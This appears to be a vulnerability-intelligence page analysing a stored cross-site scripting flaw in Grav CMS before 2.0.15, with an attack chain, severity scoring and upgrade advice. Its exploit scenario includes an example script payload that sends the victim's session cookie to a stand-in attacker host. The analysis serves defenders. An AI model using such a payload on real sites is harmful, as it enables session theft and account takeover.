Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconObtain low-privilege editor account
-
DeliveryCraft media element with malicious URL fragment
-
ExploitSave page with injected payload
-
InstallVictim views the page
-
C2Unsanitised fragment rendered into rawHtml
-
ExecuteInjected script executes in victim's browser session
-
ImpactSession token or credentials exfiltrated
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | The attacker must hold a low-privileged account with permission to create or edit pages containing media (audio or video) in Grav CMS - anonymous unauthenticated access is insufficient. A victim (such as an administrator or any authenticated user with access to the page) must subsequently view the crafted page, providing the required passive user interaction (UI:P in the CVSS 4.0 vector). Exploitation is limited to Grav installations running versions prior to 2.0.15. The co-patched image resize CSS injection variant further requires that image resize parameters are reachable from Markdown page content (the default configuration), but that vector results only in CSS injection, not arbitrary JavaScript execution. Neither variant requires any special server-side configuration beyond a functional Grav instance with standard media support enabled. |
| Impact | The CVSS 4.0 score of 5.1 (Medium) accurately reflects the constrained exploitation path: PR:L requires the attacker to hold a content-editor account, and UI:P requires a victim to passively view the malicious page - two sequential prerequisites that substantially reduce real-world risk compared to a fully unauthenticated stored XSS. The subsequent-system impact metrics (SC:L/SI:L) reflect limited browser-session compromise rather than server-side control. No KEV listing exists and no public POC has been identified, consistent with a moderate-priority issue. EPSS data was not provided, so probabilistic exploitation risk cannot be quantified. One notable discrepancy exists: the CVE description attributes the flaw to audio/video media via sourceParsedownElement and URL fragment concatenation, while the commit diff and CHANGELOG focus exclusively on a CSS injection via image resize (GHSA-ffmg-hfvg-jhg9) - defenders should verify with the vendor advisory (GHSA-6qw9-4vv5-jr97) whether both vectors are addressed in 2.0.15 or whether the audio/video XSS is a distinct unpatched surface. |
| Exploit ScenarioDerived | An attacker with a low-privileged editor account on a Grav site crafts a Markdown page embedding an audio or video element whose URL contains a malicious JavaScript payload in the fragment (e.g., a media URL ending in #<script>document.location='https://attacker.example/steal?c='+document.cookie</script>). When an administrator or authenticated visitor navigates to the page, the unsanitised fragment is rendered into the HTML by sourceParsedownElement, causing the injected script to execute in the victim's browser and exfiltrate their session cookie. No public POC has been identified, but the attack requires only standard browser HTTP and a valid editor credential. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Aug 18, 2026
Stored cross-site scripting in Grav CMS before 2.0.15 allows a low-privileged content contributor to inject arbitrary HTML and JavaScript into pages containing audio or video media elements, executing in the browser sessions of any viewer. The flaw originates in the sourceParsedownElement method, where media URL fragments are concatenated without escaping into rawHtml output. No public exploit is identified at time of analysis, but the CVSS 4.0 vector (PR:L/UI:P) confirms exploitation requires an authenticated editor and a passive victim who views the crafted content.
RemediationAI
Upgrade Grav CMS to version 2.0.15 or later, which applies input coercion and style-value validation across the affected media rendering paths (vendor advisory: https://github.com/getgrav/grav/security/advisories/GHSA-6qw9-4vv5-jr97; patch commit: https://github.com/getgrav/grav/commit/aba291a59cab29ddce491175791888d8d0b65e20). If an immediate upgrade is not possible, restrict content-editing permissions to fully trusted users only, since exploitation requires an authenticated contributor account. As a compensating control, consider deploying a Content Security Policy (CSP) header with a strict script-src directive to limit the impact of any injected JavaScript, though note this does not prevent HTML injection or CSS-based attacks. Sites where untrusted or anonymous users can author media-rich content face meaningfully higher risk and should prioritise patching.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in composer, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Grav is a flat-file PHP CMS (CPE: cpe:2.3:a:getgrav:grav:*:*:*:*:*:*:*:*) that uses a Parsedown-based Markdown renderer. The sourceParsedownElement method within the media rendering pipeline constructs rawHtml output for audio and video elements by concatenating the media URL fragment directly without HTML entity encoding or sanitisation - a textbook CWE-79 (Improper Neutralisation of Input During Web Page Generation) defect. A separate but co-remediated issue patched in the same commit (GHSA-ffmg-hfvg-jhg9, referenced internally in the diff) involves CSS injection via the image resize parameter, where non-numeric width/height values were passed directly into inline style attributes; the fix in StaticResizeTrait.php coerces dimensions to integers and MediaObjectTrait.php now validates keyed CSS declarations through isSafeStyleValue() before serialisation. The vendor advisory is GHSA-6qw9-4vv5-jr97 and the remediation commit is aba291a59cab29ddce491175791888d8d0b65e20.
Know when Grav gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
Network delivery, low complexity; low privileges (editor account required); victim must view page (UI:R); scope changes to victim browser with limited confidentiality and integrity impact.
Primary rating from Vendor (VulnCheck).
CVSS VectorVendor: VulnCheck
DescriptionCVE.org
Grav before 2.0.15 contains a stored cross-site scripting vulnerability in the audio and video media rendering through the sourceParsedownElement method. The media URL fragment is concatenated unescaped into rawHtml source elements, allowing attackers to inject arbitrary HTML and JavaScript that executes in viewers' sessions.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Server-side template injection (SSTI) in Grav (getgrav/grav) prior to 1.8.0-beta.27 allows an authenticated attacker hol
Broken access control in Grav CMS (CWE-285) before 1.8.0-beta.27 lets an authenticated editor-level user escalate their
A Remote Code Execution (RCE) vulnerability in Grav CMS v1.7.48 allows an authenticated admin to upload a malicious plug
Grav is a file-based Web platform. Rated critical severity (CVSS 9.9), this vulnerability is remotely exploitable, low a
GravCMS 1.10.7 allows unauthenticated remote attackers to write arbitrary YAML configuration files, leading to full serv
Remote code execution in Grav CMS 2.0.4 (fixed in 2.0.7) lets an authenticated user holding the admin.pages or api.pages
Remote code execution in Grav CMS before 2.0.15 allows attackers holding page-edit or blueprint-config privileges to wri
Vertical privilege escalation in Grav CMS before 2.0.14 lets a delegated administrator holding only the admin.users perm
Stored cross-site scripting in Grav CMS before 2.0.15 lets authenticated editors smuggle JavaScript event handlers past
Server-side request forgery (SSRF) in Grav CMS versions prior to 1.7.49.5 allows remote authenticated attackers to make
Grav is a file-based Web platform. Prior to 1.8.0-beta.27, Grav CMS is vulnerable to a Server-Side Template Injection (S
Remote code execution in Grav CMS before 2.0.13 allows authenticated low-privilege users to plant and execute arbitrary
EUVD-2026-60595
GHSA-6qw9-4vv5-jr97
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB